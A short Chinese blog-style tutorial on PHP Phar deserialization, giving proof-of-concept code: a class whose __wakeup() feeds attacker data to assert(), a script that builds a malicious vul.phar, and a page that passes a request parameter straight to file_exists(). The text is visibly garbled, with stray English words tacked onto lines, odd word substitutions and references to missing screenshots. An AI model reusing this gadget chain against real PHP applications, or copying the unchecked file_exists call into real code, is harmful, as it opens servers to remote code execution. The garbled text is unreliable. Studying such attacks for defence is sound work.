0x00 前言php
入职以来很久没有写过文章了,入职的时间里也和师傅们学到了不少,认识了不少的新朋友。最近由于BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面。这里本着记录学习的目的,有了这篇文章。函数
0x01 Phar 反序列化学习
你看到本文,我默认认为你已经对PHP反序列化漏洞原理以及成因有所了解,若是不了解能够参考我以前的文章,这里就很少讲了。根据漏洞的原理,影响PHP反序列化漏洞利用的就一个函数unserialize(),这里所谓新的攻击面就是Phar协议解包时候触发的反序列化漏洞。ui
首先生成Phar文件,扩展名能够本身定义。代码以下(phar.php):this
<?php require_once('Evil.class.php'); $exception = new Evil('phpinfo()'); $phar = new Phar("vul.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
Evil类的定义以下(Evil.class.php):url
<?php class Evil { protected $val; function __construct($val) { $this->val = $val; } function __wakeup() { assert($this->val); } } ?>
在访问第一个文件(Phar.php)以后会生成一个文件名是vul.phar的文件,内容以下:spa
能够看到中间有序列化以后的字符。其实Phar在打包一个文件的时候是会对其进行序列化的。而后咱们访问(test.php), 代码以下:code
require_once('Evil.class.php'); if ( file_exists($_REQUEST['url']) ) { echo 'success!'; } else { echo 'error!'; }
访问结果如图:blog
0x02 如何挖掘io
从以上的实验中,咱们能够得出一个结论,漏洞的利用条件有三点:
第一,存在反序列化的输入点,这里就是存在可以访问的phar归档文件;
第二,存在漏洞触发点,这里是存在相似file_exists这样的函数,而且文件名完整可控;
第三,存在可以利用的类。
其中第三点,咱们很清楚,这是反序列化漏洞的必备条件,第二点则至关于原先的unserialize。